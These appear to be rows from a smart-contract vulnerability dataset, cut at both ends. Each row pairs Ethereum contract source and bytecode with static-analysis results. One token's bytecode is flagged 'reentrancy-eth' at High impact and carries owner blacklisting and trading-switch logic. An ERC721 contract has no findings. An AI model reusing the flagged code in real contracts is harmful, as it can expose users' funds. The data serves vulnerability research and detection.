}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b157600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611956565b6105fc565b005b34801561020a57600080fd5b506040805180820190915260098152684c616d626f20496e7560b81b60208201525b6040516102399190611a1b565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a70565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a9c565b6106b2565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611add565b61071b565b34801561036e57600080fd5b506101fc61037d366004611b0a565b610766565b34801561038e57600080fd5b506101fc6107ae565b3480156103a357600080fd5b506102c26103b2366004611add565b6107f9565b3480156103c357600080fd5b506101fc61081b565b3480156103d857600080fd5b506101fc6103e7366004611b25565b61088f565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611add565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611b0a565b6108be565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260058152644c414d424f60d81b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b25565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b3e565b610935565b3480156104fd57600080fd5b5061026261050c366004611a70565b610973565b34801561051d57600080fd5b5061026261052c366004611add565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b70565b6109d4565b34801561058257600080fd5b506102c2610591366004611bf4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b25565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611add565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c2d565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c8e565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c2d565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c2d565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c2d565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c2d565b60005b82811015610a6f578160056000868685818110610a2057610a20611c62565b9050602002016020810190610a359190611add565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c8e565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c2d565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c2d565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611ca7565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f84848484611460565b600081848411156112125760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361148e565b90506112df83826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c62565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611cd6565b816001815181106113be576113be611c62565b6001600160a01b0392831660209182029290920101526014546113e49130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141d908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146d5761146d6114f3565b611478848484611521565b80610a6f57610a6f600e54600c55600f54600d55565b600080600061149b611618565b90925090506114aa82826114b1565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165a565b600c541580156115035750600d54155b1561150a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153387611688565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156590876116e5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115949086611727565b6001600160a01b0389166000908152600260205260409020556115b681611786565b6115c084836117d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163482826114b1565b82101561165157505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361167b5760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611d64565b60008060008060008060008060006116a58a600c54600d546117f4565b92509250925060006116b561148e565b905060008060006116c88e878787611849565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117348385611ca7565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179061148e565b9050600061179e8383611899565b306000908152600260205260409020549091506117bb9082611727565b30600090815260026020526040902055505050565b6006546117dd90836116e5565b6006556007546117ed9082611727565b6007555050565b600080808061180e60646118088989611899565b906114b1565b9050600061182160646118088a89611899565b90506000611839826118338b866116e5565b906116e5565b9992985090965090945050505050565b60008080806118588886611899565b905060006118668887611899565b905060006118748888611899565b905060006118868261183386866116e5565b939b939a50919850919650505050505050565b6000826000036118ab575060006106ac565b60006118b78385611d86565b9050826118c48583611d64565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195181611931565b919050565b6000602080838503121561196957600080fd5b823567ffffffffffffffff8082111561198157600080fd5b818501915085601f83011261199557600080fd5b8135818111156119a7576119a761191b565b8060051b604051601f19603f830116810181811085821117156119cc576119cc61191b565b6040529182528482019250838101850191888311156119ea57600080fd5b938501935b82851015611a0f57611a0085611946565b845293850193928501926119ef565b98975050505050505050565b600060208083528351808285015260005b81811015611a4857858101830151858201604001528201611a2c565b81811115611a5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8357600080fd5b8235611a8e81611931565b946020939093013593505050565b600080600060608486031215611ab157600080fd5b8335611abc81611931565b92506020840135611acc81611931565b929592945050506040919091013590565b600060208284031215611aef57600080fd5b81356112df81611931565b8035801515811461195157600080fd5b600060208284031215611b1c57600080fd5b6112df82611afa565b600060208284031215611b3757600080fd5b5035919050565b60008060008060808587031215611b5457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8557600080fd5b833567ffffffffffffffff80821115611b9d57600080fd5b818601915086601f830112611bb157600080fd5b813581811115611bc057600080fd5b8760208260051b8501011115611bd557600080fd5b602092830195509350611beb9186019050611afa565b90509250925092565b60008060408385031215611c0757600080fd5b8235611c1281611931565b91506020830135611c2281611931565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca057611ca0611c78565b5060010190565b60008219821115611cba57611cba611c78565b500190565b600082821015611cd157611cd1611c78565b500390565b600060208284031215611ce857600080fd5b81516112df81611931565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c78565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f90842a67ccba33e14cdccf51bf1cc4d62e53f0a968e61734b4f9723e552bca564736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 126 |
0x7b7f82a56f9c92b5e00c52f2f4dcf68c7a089700 | /**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract IERC721 {
// Required methods
function totalSupply() public view virtual returns (uint256 total);
function balanceOf(address _owner)
public
view
virtual
returns (uint256 balance);
function ownerOf(uint256 _tokenId)
external
view
virtual
returns (address owner);
function approve(address _to, uint256 _tokenId) external virtual;
function transfer(address _to, uint256 _tokenId) external virtual;
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external virtual;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID)
external
view
virtual
returns (bool);
}
contract KanamitCore is IERC721, Ownable {
/*** EVENTS ***/
event Create(address owner, uint256 AssetId, uint256 hashUri, string uri);
event Transfer(address from, address to, uint256 tokenId);
struct Asset {
uint256 hashUri;
}
/*** STORAGE ***/
Asset[] assets;
mapping(uint256 => address) private AssetIndexToOwner; // map<assetId , addrOwner>
mapping(address => uint256) private OwnerAssetCount; // map<addrOwner, uintCount>
mapping(address => mapping(uint256 => uint256)) private OwnerAssets; // map<addrOwner, map<hashUri, assetId> >
mapping(uint256 => address) private AssetIndexToApproved; //map<assetId, addrApproved>
mapping(uint256 => uint256) private mapUriAssetId; //map<hashUri, AssetId>
constructor() public {
//初始化第一个元素;addressOwner 为address(0), uri为空字符"",对应的AssetId为0;
uint256 hashUri = uint256(keccak256(abi.encodePacked("")));
Asset memory currAsset = Asset({hashUri: hashUri});
assets.push(currAsset);
}
/// @dev Assigns ownership of a specific Asset to an address.
function _transfer(
address _from,
address _to,
uint256 _tokenId
) internal {
uint256 hashUri = assets[_tokenId].hashUri;
// Since the number of Assets is capped to 2^32 we can't overflow this
OwnerAssetCount[_to]++;
OwnerAssets[_to][hashUri] = _tokenId;
mapUriAssetId[hashUri] = _tokenId;
// transfer ownership
AssetIndexToOwner[_tokenId] = _to;
// When creating new Assets _from is 0x0, but we can't account that address.
if (_from != address(0)) {
OwnerAssetCount[_from]--;
delete OwnerAssets[_from][hashUri];
// clear any previously approved ownership exchange
delete AssetIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
function createAsset(address _owner, string memory _uri)
public
onlyOwner()
returns (uint256)
{
uint256 hashUri = uint256(keccak256(abi.encodePacked(_uri)));
uint256 assetId = getAssetId(_uri);
address currOwner = getUriOwner(_uri);
require(currOwner == address(0), 'asset already mint, found by owner');
require(assetId == 0, 'asset already mint, found by assetId');
Asset memory currAsset = Asset({hashUri: hashUri});
assets.push(currAsset);
uint256 newAssetId = assets.length - 1;
// It's probably never going to happen, 4 billion cats is A LOT, but
// let's just be 100% sure we never let this happen.
require(newAssetId == uint256(uint32(newAssetId)));
// emit the create event
Create(_owner, newAssetId, hashUri, _uri);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newAssetId);
return newAssetId;
}
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)")) ^
bytes4(keccak256("tokensOfOwner(address)")) ^
bytes4(keccak256("tokenMetadata(uint256,string)"));
function totalSupply() public view virtual override returns (uint256) {
return assets.length;
}
function balanceOf(address _owner)
public
view
virtual
override
returns (uint256 count)
{
return OwnerAssetCount[_owner];
}
function getAssetId(string memory uri)
public
view
returns (uint256 assetId)
{
uint256 hashUri = uint256(keccak256(abi.encodePacked(uri)));
assetId = mapUriAssetId[hashUri];
}
function getUriOwner(string memory uri)
public
view
returns (address addressOwner)
{
uint256 hashUri = uint256(keccak256(abi.encodePacked(uri)));
uint256 assetId = mapUriAssetId[hashUri];
if (assetId == 0) return address(0);
return AssetIndexToOwner[assetId];
}
function ownerOf(uint256 _tokenId)
external
view
virtual
override
returns (address owner)
{
owner = AssetIndexToOwner[_tokenId];
require(owner != address(0));
}
function approve(address _to, uint256 _tokenId) external virtual override {
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external virtual override {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any kitties (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// You can only send your own cat.
require(_owns(msg.sender, _tokenId), 'only owner can transfer');
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external virtual override {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any kitties (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId)
internal
view
returns (bool)
{
return AssetIndexToOwner[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
AssetIndexToApproved[_tokenId] = _approved;
}
function _approvedFor(address _claimant, uint256 _tokenId)
internal
view
returns (bool)
{
return AssetIndexToApproved[_tokenId] == _claimant;
}
function supportsInterface(bytes4 _interfaceID)
external
view
virtual
override
returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) ||
(_interfaceID == InterfaceSignature_ERC721));
}
function getAssetById(uint256 _id) external view returns (uint256 hashUri) {
Asset storage asset = assets[_id];
hashUri = asset.hashUri;
}
function getAsset(address owner, uint256 hashUri)
external
view
returns (uint256 assetId)
{
assetId = OwnerAssets[owner][hashUri];
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610424578063b3e444a714610450578063dfd01ff31461046d578063f2fde38b14610499576100f5565b806370a0823114610338578063715018a61461035e578063791c0741146103665780638da5cb5b1461041c576100f5565b806318160ddd116100d357806318160ddd1461021b578063200c69871461022357806323b872dd146102e55780636352211e1461031b576100f5565b806301ffc9a7146100fa578063095ea7b3146101355780630fed73e214610163575b600080fd5b6101216004803603602081101561011057600080fd5b50356001600160e01b0319166104bf565b604080519115158252519081900360200190f35b6101616004803603604081101561014b57600080fd5b506001600160a01b0381351690602001356104f8565b005b6102096004803603602081101561017957600080fd5b81019060208101813564010000000081111561019457600080fd5b8201836020820111156101a657600080fd5b803590602001918460018302840111640100000000831117156101c857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610561945050505050565b60408051918252519081900360200190f35b6102096105e6565b6102c96004803603602081101561023957600080fd5b81019060208101813564010000000081111561025457600080fd5b82018360208201111561026657600080fd5b8035906020019184600183028401116401000000008311171561028857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506105ec945050505050565b604080516001600160a01b039092168252519081900360200190f35b610161600480360360608110156102fb57600080fd5b506001600160a01b0381358116916020810135909116906040013561069f565b6102c96004803603602081101561033157600080fd5b50356106fe565b6102096004803603602081101561034e57600080fd5b50356001600160a01b0316610720565b61016161073b565b6102096004803603604081101561037c57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156103a757600080fd5b8201836020820111156103b957600080fd5b803590602001918460018302840111640100000000831117156103db57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506107ef945050505050565b6102c9610aa1565b6101616004803603604081101561043a57600080fd5b506001600160a01b038135169060200135610ab0565b6102096004803603602081101561046657600080fd5b5035610b43565b6102096004803603604081101561048357600080fd5b506001600160a01b038135169060200135610b66565b610161600480360360208110156104af57600080fd5b50356001600160a01b0316610b8d565b60006001600160e01b031982166301ffc9a760e01b14806104f057506001600160e01b03198216639a20483d60e01b145b90505b919050565b6105023382610c97565b61050b57600080fd5b6105158183610cb7565b604080513381526001600160a01b038416602082015280820183905290517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259181900360600190a15050565b600080826040516020018082805190602001908083835b602083106105975780518252601f199092019160209182019101610578565b51815160209384036101000a60001901801990921691161790526040805192909401828103601f1901835284528151918101919091206000908152600690915291909120549695505050505050565b60015490565b600080826040516020018082805190602001908083835b602083106106225780518252601f199092019160209182019101610603565b51815160209384036101000a60001901801990921691161790526040805192909401828103601f19018352845281519181019190912060008181526006909252929020549194509092508291506106809050576000925050506104f3565b6000908152600260205260409020546001600160a01b03169392505050565b6001600160a01b0382166106b257600080fd5b6001600160a01b0382163014156106c857600080fd5b6106d23382610ce5565b6106db57600080fd5b6106e58382610c97565b6106ee57600080fd5b6106f9838383610d05565b505050565b6000818152600260205260409020546001600160a01b0316806104f357600080fd5b6001600160a01b031660009081526003602052604090205490565b610743610e21565b6000546001600160a01b039081169116146107a5576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006107f9610e21565b6000546001600160a01b0390811691161461085b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000826040516020018082805190602001908083835b602083106108905780518252601f199092019160209182019101610871565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012060001c905060006108db84610561565b905060006108e8856105ec565b90506001600160a01b038116156109305760405162461bcd60e51b8152600401808060200182810382526022815260200180610e836022913960400191505060405180910390fd5b811561096d5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e396024913960400191505060405180910390fd5b610975610e25565b506040805160208101909152838152600180548082018255600082905282517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf690910155546000190163ffffffff811681146109d057600080fd5b7fdd171dd3b7b37ff6cb1b32d75dc40c4635ccc4e2e4018aab67f0603f5fabff858882878a60405180856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a4d578181015183820152602001610a35565b50505050905090810190601f168015610a7a5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a1610a9660008983610d05565b979650505050505050565b6000546001600160a01b031690565b6001600160a01b038216610ac357600080fd5b6001600160a01b038216301415610ad957600080fd5b610ae33382610c97565b610b34576040805162461bcd60e51b815260206004820152601760248201527f6f6e6c79206f776e65722063616e207472616e73666572000000000000000000604482015290519081900360640190fd5b610b3f338383610d05565b5050565b60008060018381548110610b5357fe5b6000918252602090912001549392505050565b6001600160a01b039091166000908152600460209081526040808320938352929052205490565b610b95610e21565b6000546001600160a01b03908116911614610bf7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610c3c5760405162461bcd60e51b8152600401808060200182810382526026815260200180610e5d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000908152600260205260409020546001600160a01b0391821691161490565b60009182526005602052604090912080546001600160a01b0319166001600160a01b03909216919091179055565b6000908152600560205260409020546001600160a01b0391821691161490565b600060018281548110610d1457fe5b60009182526020808320909101546001600160a01b03808716808552600384526040808620805460010190556004855280862084875285528086208890556006855280862088905587865260029094529290932080546001600160a01b0319169092179091559150841615610dd1576001600160a01b038416600090815260036020908152604080832080546000190190556004825280832084845282528083208390558483526005909152902080546001600160a01b03191690555b604080516001600160a01b0380871682528516602082015280820184905290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360600190a150505050565b3390565b604051806020016040528060008152509056fe617373657420616c7265616479206d696e742c20666f756e6420627920617373657449644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373617373657420616c7265616479206d696e742c20666f756e64206279206f776e6572a264697066735822122003acd495a40585724bdadc6b8dd97eae1fc8ff3436ef952fe4a75d7f0337face64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 127 |
0x56c2162254b0e4417288786ee402c2b41d4e181e | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
